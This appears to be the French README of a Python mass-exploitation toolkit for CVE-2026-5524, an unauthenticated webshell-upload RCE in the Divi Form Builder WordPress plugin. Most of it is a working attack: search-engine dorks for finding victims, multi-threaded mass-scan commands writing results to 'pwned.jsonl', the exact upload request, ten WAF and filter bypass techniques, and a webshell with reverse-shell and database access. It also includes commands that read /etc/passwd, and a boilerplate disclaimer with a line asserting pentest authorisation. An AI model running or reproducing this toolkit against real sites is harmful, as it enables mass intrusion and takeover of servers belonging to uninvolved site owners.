
Boîte à outils d'exploitation massive en Python pour CVE-2026-5524, une RCE par téléversement de fichier non authentifié dans le plugin WordPress Divi Form Builder, avec téléversement de webshell et exécution de commandes.
| Champ | Valeur |
|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critique) |
| Vecteur | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affecté | Divi Form Builder <= 5.1.8 |
| Corrigé | 5.1.9 |
| Type | Téléversement de fichier non authentifié menant à RCE |
| Chercheur | 0xd4rk5id3 - EnvoraSec |
Le plugin Divi Form Builder pour WordPress contient une vulnérabilité de téléversement de fichier arbitraire non authentifiée. Le gestionnaire do_image_upload() transmet le paramètre POST acceptFileTypes, contrôlé par l'utilisateur, directement dans une expression régulière utilisée pour valider les extensions de fichier. En fournissant une valeur telle que phtml, un attaquant peut contourner la règle .htaccess du plugin qui ne bloque que l'extension .php et téléverser un webshell avec une extension exécutable par PHP (.phtml, .phar, .php5, .php7, et similaires).
Une fois le fichier déposé dans /wp-content/uploads/de_fb_uploads/, Apache l'exécute en tant que PHP, accordant à l'attaquant l'exécution de code à distance sous l'utilisateur du serveur web.
Le problème est corrigé dans Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Prérequis : Python 3.8 ou supérieur sous Linux, macOS ou WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Pour les cibles derrière un WAF (NinjaFirewall, Wordfence, ModSecurity) ou avec une configuration Apache ou nginx renforcée.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Après un téléversement réussi, le script peut immédiatement exécuter une commande ou ouvrir un shell interactif.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Option | Description |
|---|---|
-u URL | URL d'une cible unique |
-l FILE | Fichier contenant la liste des cibles, une URL par ligne |
-t N | Nombre de threads concurrents (par défaut 10) |
--timeout N | Délai d'expiration des requêtes en secondes (par défaut 15) |
-o FILE | Enregistrer les résultats dans un fichier de sortie JSONL |
--proxy URL | Router le trafic via un proxy HTTP |
--nonce HASH | Utiliser un nonce fourni manuellement, ignorer l'autodétection |
--ext EXT | Forcer une seule extension au lieu de la liste complète de contournement |
--shell | Ouvrir un shell RCE interactif en cas de succès (cible unique uniquement) |
--cmd CMD | Exécuter une commande sur la cible, puis quitter |
--shell-file FILE | Téléverser une charge utile de shell personnalisée au lieu de celle intégrée |
--no-verify | Ignorer l'étape de vérification RCE après le téléversement |
--strict-verify | Confirmer que l'URL du shell renvoie HTTP 200 pour filtrer les faux positifs |
--user-ini | Téléverser un dropper .user.ini pour les environnements PHP-FPM |
--htaccess | Téléverser un réactivateur .htaccess pour les environnements Apache |
--aggressive | Activer toutes les techniques de contournement disponibles |
--null-byte | Inclure les tentatives avec octet nul et double extension |
--path-traversal | Tenter de téléverser dans les sous-répertoires /uploads/YYYY/MM/ |
--debug | Afficher les réponses HTTP brutes pour le diagnostic |
Le gestionnaire vulnérable construit une expression régulière à partir de l'entrée utilisateur sans assainissement.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
En envoyant acceptFileTypes=phtml, l'expression régulière résultante /\.(phtml)$/i correspond aux noms de fichiers se terminant par .phtml, même si le fichier .htaccess du plugin ne bloque que l'extension .php. Apache exécute alors le fichier téléversé en tant que PHP, produisant une exécution de code à distance.
Parcourir une page qui intègre un formulaire Divi Form Builder (/, /contact, /quote, etc). Ajouter un paramètre ?nocache=<random> pour déjouer Varnish, WP Rocket et autres caches de page qui serviraient sinon un nonce obsolète.
Extraire la valeur fb_nonce de l'objet JavaScript localisé :
de_fb_obj = {"fb_nonce":"<10 caractères hexadécimaux>", ...}
Envoyer en POST un formulaire multipart vers /wp-admin/admin-ajax.php avec :
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Lire l'URL du fichier dans la réponse JSON :
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Requêter le shell avec une commande encodée en base64 :
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Technique | Cibles |
|---|---|---|
| 1 | Extensions PHP alternatives .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Règle .htaccess du plugin qui ne bloque que .php |
| 2 | Variation de casse .PHTML, .PHP5, .PhTmL | Signatures WAF sensibles à la casse (NinjaFirewall) |
| 3 | Double extension .phtml.jpg, .php.jpg | Bizarreries de négociation de contenu mod_mime d'Apache |
| 4 | Octet nul .php%00.jpg, .phtml%00.txt | Anciennes versions de PHP (inférieures à 5.3.4) et certains parseurs |
| 5 | Espace ou point final .php , .php. | Windows IIS et anciennes versions d'Apache |
| 6 | Usurpation de Content-Type application/octet-stream | WAF qui se basent sur l'en-tête Content-Type multipart |
| 7 | Téléverser un vrai .htaccess qui réactive PHP pour .gif, .png, .jpg, .txt, .html, etc. | Serveurs Apache avec AllowOverride All |
| 8 | Téléverser un .user.ini avec auto_prepend_file | Environnements PHP-FPM |
| 9 | Injection de nom de fichier via manipulation de la frontière multipart | Proxies et WAF qui reparsent le corps de la requête |
| 10 | Traversée de répertoire ../shell.phtml dans le nom de fichier | Restrictions de répertoire du plugin |
Le script essaie chaque technique par ordre de priorité et, lorsque --aggressive est activé, tente chacune d'elles même après qu'un premier téléversement ait signalé un succès.
| Composant | Technologie |
|---|---|
| Langage | Python 3.8+ |
| Client HTTP | requests |
| Gestion TLS | urllib3 en mode non sécurisé pour les certificats auto-signés |
| Concurrence | concurrent.futures.ThreadPoolExecutor pour le scan massif |
| Analyse | re pour l'extraction du nonce, json pour le traitement des réponses |
| Encodage | base64 pour le paramètre de commande du webshell |
| CLI | argparse avec 19 options configurables |
| Composant | Technologie |
|---|---|
| Langage | PHP 7.0+ |
| Fonctions d'exécution | system(), shell_exec(), proc_open(), passthru(), popen() |
| Interface | Formulaire HTML simple, sans framework JavaScript |
| Fonctionnalités | Navigateur de fichiers, exécution de commandes, accès base de données, reverse shell, auto-installation de .htaccess et .user.ini |
| Taille | Environ 16 Ko |
| Couches de contournement | Six chemins d'exécution indépendants plus des charges utiles encodées |
cve-2026-5524/
|-- CVE-2026-5524.py Script d'exploitation principal
|-- bypass.phtml Webshell PHP multi-couches de 16 Ko
|-- htaccess_enable.phtml Dropper qui écrit un .htaccess réactivateur
|-- user_ini.phtml Dropper qui écrit un .user.ini pour PHP-FPM
|-- targets.txt Exemple de liste de cibles
|-- pwned.jsonl Généré par l'option -o lors des scans massifs
|-- requirements.txt Dépendances Python
`-- README.md Ce document
+--------------------------------------------------+
| 1. Reconnaissance |
| GET /?nocache=<random> |
| Parse fb_nonce from de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Craft exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Server accepts and stores file |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Execute |
| GET shell.phtml?x=base64(command) |
| Remote code execution achieved |
+--------------------------------------------------+
Cet outil est fourni à des fins éducatives et pour une utilisation lors de tests d'intrusion autorisés. Les exemples d'utilisation acceptable incluent :
L'utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester est illégale dans pratiquement toutes les juridictions et est strictement interdite. L'auteur ne cautionne ni n'assume la responsabilité d'un usage abusif de ce code.
J'ai la permission et je suis autorisé à effectuer ce pentest. (I have permission and I am authorized to perform this pentest.)
Les lois susceptibles de s'appliquer incluent l'UU ITE indonésienne, le Computer Fraud and Abuse Act des États-Unis, la Convention sur la cybercriminalité de l'Union européenne, et les législations équivalentes ailleurs. En cas de doute, obtenez d'abord une autorisation écrite.
Usage éducatif uniquement. Consultez la section d'avertissement pour les conditions d'utilisation complètes.